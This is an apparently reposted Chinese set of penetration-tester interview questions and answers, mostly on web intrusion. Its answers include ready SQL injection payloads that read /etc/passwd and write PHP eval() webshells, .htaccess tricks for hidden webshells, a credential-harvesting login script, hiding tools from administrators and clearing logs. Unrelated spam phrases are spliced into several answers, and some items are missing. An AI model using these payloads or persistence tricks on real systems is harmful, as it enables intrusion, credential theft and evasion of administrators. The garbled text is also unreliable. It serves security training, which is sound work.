渗透测试⼯程师⾯试题⼤全(164道)
from:backlion⼤佬 整理
1.拿到⼀个待检测的站,你觉得应该先做什么?
收集信息:whois、⽹站源
IP、旁站、C 段⽹站、服务器系统版本、容器版本、程序版本、数据库类型、⼆级域名、防⽕墙、维护者信息另说…
5.0 以下没有 information_schema 这个系统表,⽆法列表名等,只能暴⼒跑表名;5.0 以下是多⽤户单操作,5.0 以上是多⽤户多操做。
3.在渗透过程中,收集⽬标站注册⼈邮箱对我们有什么价值?
(1)丢社⼯库⾥看看有没有泄露密码,然后尝试⽤泄露的密码进⾏登录后台
(2)⽤邮箱做关键词进⾏丢进搜索引擎
(3)利⽤搜索到的关联信息出其他邮箱进⽽得到常⽤社交账号
(4)社⼯出社交账号,⾥⾯或许会出管理员设置密码的习惯
(5)利⽤已有信息⽣成专⽤字典
(6) 观察管理员常逛哪些⾮⼤众性⽹站,拿下它,你会得到更多好东西
4.判断出⽹站的 CMS 对渗透有什么意义?
查⽹上已曝光的程序漏洞,如果开源,还能下载相对应的源码进⾏代码审计。
5.⼀个成熟并且相对安全的 CMS,渗透时扫⽬录的意义?
(1)敏感⽂件、⼆级⽬录扫描
(2)站长的误操作⽐如:⽹站备份的压缩⽂件、说明.txt、⼆级⽬录可能存放着其他站点
6.常见的⽹站服务器容器?
IIS、Apache、nginx、Tomcat,weblogic、jboss
root 权限以及⽹站的绝对路径
load_file()读取⽂件操作
前提:
知道⽂件的绝对路径
能够使⽤ union 查询对 web ⽬录有写的权限
union select 1,load_file(’/etc/passwd’),3,4,5#
0x2f6574632f706173737764
union select 1,load_file(0x2f6574632f706173737764),3,4,5#
路径没有加单引号的话必须转换⼗六进制
要是想省略单引号的话必须转换⼗六进制
into outfile 写⼊⽂件操作
前提:
⽂件名必须是全路径(绝对路径)
⽤户必须有写⽂件的权限
没有对单引号’过滤
select ‘<?php phpinfo(); ?>’ into outfile
‘C:\Windows\tmp\8.php’ select ‘<?php @eval($_POST["admin"]);?>’ into outfile
‘C:\Windows\tmp\8.php’
路径⾥⾯两个反斜杠\可以换成⼀个正斜杠/
PHP 语句没有单引号的话,必须转换成⼗六进制
要是想省略单引号’的话,必须转换成⼗六进制
<?php eval($_POST["admin"]); ?>
或者
<?php eval($_GET["admin"]); ?> <?php @eval($_POST["admin"]); ?> <?phpphpinfo(); ?> <?php eval($_POST["admin"]); ?>建议⼀句话 PHP 语句转换成⼗六进制
8.⽬前已知哪些版本的容器有解析漏洞,具体举例?
(1) IIS 6.0
/xx.asp/xx.jpg "xx.asp"是⽂件夹名
(2) IIS 7.0/7.5
默认
Fast-CGI 开启,直接在url 中图⽚地址后⾯输⼊/1.php,会把正常图⽚当成 php 解析
(3) Nginx
版本⼩于等于 0.8.37,利⽤⽅法和 IIS 7.0/7.5 ⼀样,Fast-CGI 关闭情况下也可利⽤。
空字节代码 xxx.jpg.php
(4)Apache
上传的⽂件命名为:test.php.x1.x2.x3,Apache 是从右往左判断后缀
(6)lighttpd
xx.jpg/xx.php
9.如何⼿⼯快速判断⽬标站是 windows 还是 linux 服务器?
spring三件套是什么linux ⼤⼩写敏感,windows ⼤⼩写不敏感
10.为何⼀个 mysql 数据库的站,只有⼀个 80 端⼝开放?
(1)更改了端⼝,没有扫描出来
(2) 站库分离
(3) 3306 端⼝不对外开放
11.3389 ⽆法连接的⼏种情况?
(1)没开放 3389 端⼝
(2)端⼝被修改
(3) 防护拦截
(4)处于内⽹(需进⾏端⼝转发)
12.如何突破注⼊时字符被转义?
宽字符注⼊;hex 编码绕过
13.在某后台新闻编辑界⾯看到编辑器,应该先做什么?
查看编辑器的名称版本,然后搜索公开的漏洞
14.拿到⼀个 webshell 发现⽹站根⽬录下有.htaccess ⽂件,我们能做什么?
能做的事情很多,⽤隐藏⽹马来举例⼦:
插⼊<FilesMatch “xxx.jpg”> SetHandler
application/x-httpd-php
.jpg ⽂件会被解析成.php ⽂件
15.注⼊漏洞只能查账号密码?
可脱裤,可上传 webshell,可执⾏命令
16.安全狗会追踪变量,从⽽发现出是⼀句话⽊马吗?
是根据特征码,所以很好绕过
17.access 扫出后缀为 asp 的数据库⽂件,访问乱码。如何实现到本地利⽤?
迅雷下载,直接改后缀为.mdb
18.提权时选择可读写⽬录,为何尽量不⽤带空格的⽬录?
因为 exp 执⾏多半需要空格界定参数
19.某服务器有站点 A,B 为何在 A 的后台添加 test ⽤户,访问 B 的后台。发现也添加上了 test ⽤户?
同数据库
20.注⼊时可以不使⽤ and 或 or 或 xor,直接 order by 开始注⼊吗?
and/or/xor,前⾯的 1=1、1=2 步骤只是为了判断是否为注⼊点,如果已经确定是注⼊点那就可以省那步骤去
21:某个防注⼊系统,在注⼊时会提⽰:统检测到你有⾮法注⼊的⾏为。已记录您的 时间:2016:01-23 提交页⾯:test.asp? id=15 提交内容:and 1=1 如何利⽤这个防注⼊系统拿 shell?
在URL ⾥⾯直接提交⼀句话,这样⽹站就把你的⼀句话也记录进数据库⽂件了, 这个时候可以尝试寻⽹站的配置⽂件 直接上菜⼑链接。具体⽂章参见:
22.上传⼤马后访问乱码时,有哪些解决办法?
浏览器中改编码
23.审查上传点的元素有什么意义?
有些站点的上传⽂件类型的限制是在前端实现的,这时只要增加上传类型就能突破限制了
24.⽬标站禁⽌注册⽤户,回密码处随便输⼊⽤户名提⽰:“此⽤户不存在”,你觉得这⾥怎样利⽤?
先爆破⽤户名,再利⽤被爆破出来的⽤户名爆破密码。
这就任意⽂件下载漏洞,在 file=后⾯尝试输⼊ index.php 下载他的⾸页⽂件,然后在⾸页⽂件⾥继续查其他⽹站的配置⽂件,可以出⽹站的数据库密码和数据库的地址。
26.甲给你⼀个⽬标站,并且告诉你根⽬录下存在/abc/⽬录,并且此⽬录下存在编辑器和 admin ⽬录。请问你的想法是?
发卡网自动发卡平台源码直接在⽹站⼆级⽬录/abc/下扫描敏感⽂件及⽬录
27.在有 shell 的情况下,如何使⽤ xss 实现对⽬标站的长久控制?
mysqltimestamp(1)后台登录处加⼀段记录登录账号密码的 js,并且判断是否登录成功,如果登录成功,就把账号密码记录到⼀个⽣僻的路径的⽂件中或者直接发到⾃⼰的⽹站⽂件中。(此⽅法适合有价值并且需要深⼊控制权限的⽹络)
(2)在登录后才可以访问的⽂件中插⼊ XSS 脚本
28.后台修改管理员密码处,原密码显⽰为*。你觉得该怎样实现读出这个⽤户的密码?
审查元素 把密码处的 password 属性改成text 就明⽂显⽰了
29.⽬标站⽆防护,上传图⽚可以正常访问,上传脚本格式访问则 403.什么原因?
原因很多,有可能 web 服务器配置把上传⽬录写死了不执⾏相应脚本,尝试改后缀名绕过
30.审查元素得知⽹站所使⽤的防护软件,你觉得怎样做到的?
在敏感操作被拦截,通过界⾯信息⽆法具体判断是什么防护的时候,F12 看HTML 体部 ⽐如护卫神就可以在名称那看到内容
31.在 win2003 服务器中建⽴⼀个 .zhongzi ⽂件夹⽤意何为?
隐藏⽂件夹,为了不让管理员发现你传上去的⼯具
32.sql 注⼊有以下两个测试选项,选⼀个并且阐述不选另⼀个的理由?
A.demo.jsp?id=2+1
B. demo.jsp?id=2-1
选 B,在URL 编码中+ 代表空格,可能会造成混淆
33.以下链接存在 sql 注⼊漏洞,对于这个变形注⼊,你有什么思路?
demo.do?DATA=AjAxNg==
vlookup函数文本格式DATA 有可能经过了 base64 编码再传⼊服务器,所以我们也要对参数进⾏
base64 编码才能正确完成测试
34 发现 demo.jsp?uid=110 注⼊点,你有哪⼏种思路获取 webshell,哪种是优选?
(1)有写⼊权限的,构造联合查询语句使⽤ using INTO OUTFILE,可以将查询的输出重定向到系统的⽂件中,这样去写⼊ WebShell
电脑上的快捷键怎么用不了(2)使⽤ sqlmap –os-shell 原理和上⾯⼀种相同,来直接获得⼀个 Shell,这样效率更⾼
(3)通过构造联合查询语句得到⽹站管理员的账户和密码,然后扫后台登录后台,再在后台通过改包上传等⽅法上传 Shell
35.CSRF 和 XSS 和 XXE 有什么区别,以及修复⽅式?
(1)XSS 是跨站脚本攻击,⽤户提交的数据中可以构造代码来执⾏,从⽽实现窃取⽤户信息等攻击。
修复⽅式:对字符实体进⾏转义、使⽤ HTTP Only 来禁⽌JavaScript 读取Cookie 值、输⼊时校验、浏览器与 Web 应⽤端采⽤相同的字符编码。
(2)CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多⼿段中的⼀种,是由于没有在关键操作执⾏时进⾏是否由⽤户⾃愿发起的确认。
修复⽅式:筛选出需要防范 CSRF 的页⾯然后嵌⼊ Token、再次输⼊密码、检验 Referer。
(3)XXE 是 XML 外部实体注⼊攻击,XML 中可以通过调⽤实体来请求本地或者远程内容,和远程⽂件保护类似,会引发相关安全问题,例如敏感⽂件读取。
修复⽅式:XML 解析库在调⽤时严格禁⽌对外部实体的解析。
36.CSRF、SSRF 和重放攻击有什么区别?
(1)CSRF 是跨站请求伪造攻击,由客户端发起
(2)SSRF 是服务器端请求伪造,由服务器发起
(3)重放攻击是将截获的数据包进⾏重放,达到⾝份认证等⽬的
37.说出⾄少三种业务逻辑漏洞,以及修复⽅式?
(1)密码回漏洞中存在密码允许暴⼒破解、存在通⽤型回凭证、可以跳过验证步骤、回凭证可以拦包获取等⽅式来通过⼚商提供的密码回功能来得到密码
(2)⾝份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒,只要得到Session 或 Cookie 即可伪造⽤户⾝份
(3)验证码漏洞中存在验证码允许暴⼒破解、验证码可以通过 Javascript 或者改包的⽅法来进⾏绕过
38 圈出下⾯会话中可能存在问题的项,并标注可能会存在的问题?
39.⼀类你最擅长的漏洞,谈下绕过漏洞修复后的⽅案?
//看对常规漏洞的深⼊程度
40.你常⽤的渗透⼯具有哪些,最常⽤的是哪个?
burpsuit,appscan,avwvs,sqlmap,fiddler 等
web前端基础面试题41.描述⼀个你深⼊研究过的 CVE 或 POC?
如 cve-2017-11191offcie 的 dde 漏洞
42.谈谈你经常关注的安全平台?
如,tools,90sec,先知社区,安全客,freebuf 等
43.给你⼀个⽹站你是如何来渗透测试的?
在获取书⾯授权的前提下:
(1)信息收集,
1.获取域名的 whois 信息,获取注册者邮箱姓名电话等。
2.查询服务器旁站以及⼦域名站点,因为主站⼀般⽐较难,所以先看看旁站有没有通⽤性的 cms 或者其他漏洞。
3.查看服务器操作系统版本,web 中间件,看看是否存在已知的漏洞,⽐如 IIS,APACHE,NGINX 的解析漏洞
4.查看 IP,进⾏ IP 地址端⼝扫描,对响应的端⼝进⾏漏洞探测,⽐如 rsync,⼼脏出⾎,mysql,ftp,ssh 弱⼝令等。
5.扫描⽹站⽬录结构,看看是否可以遍历⽬录,或者敏感⽂件泄漏,⽐如php 探针
(2)漏洞扫描
开始检测漏洞,如 XSS,XSRF,sql 注⼊,代码执⾏,命令执⾏,越权访问,⽬录读取,任意⽂件读取,下载,⽂件包含, 远程命令执⾏,弱⼝令,上传,编辑器漏洞,暴⼒破解等
(3)漏洞利⽤
利⽤以上的⽅式拿到 webshell,或者其他权限
(4)权限提升
提权服务器,⽐如 windows 下 mysql 的 udf 提权,serv-u 提权,windows低版本的漏洞,如 iis6,pr,巴西烤⾁,linux 脏⽜漏洞,linux 内核版本漏洞提权,
linux 下的 mysql system 提权以及 oracle 低权限提权
(5)⽇志清理
(6)总结报告及修复⽅案
或者:
1)信息收集
a. 服务器的相关信息(真实 ip,系统类型,版本,开放端⼝,WAF 等)
b. ⽹站指纹识别(包括,cms,cdn,证书等),dns 记录
c. whois 信息,姓名,备案,邮箱,电话反查(邮箱丢社⼯库,社⼯准备等)
d. ⼦域名收集,旁站查询(有授权可渗透),C 段等
e. google hacking 针对化搜索,pdf ⽂件,中间件版本,弱⼝令扫描等
f. 扫描⽹站⽬录结构,爆后台,⽹站 banner,测试⽂件,备份等敏感⽂件泄漏等
i. 传输协议,通⽤漏洞,exp,github 源码等
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论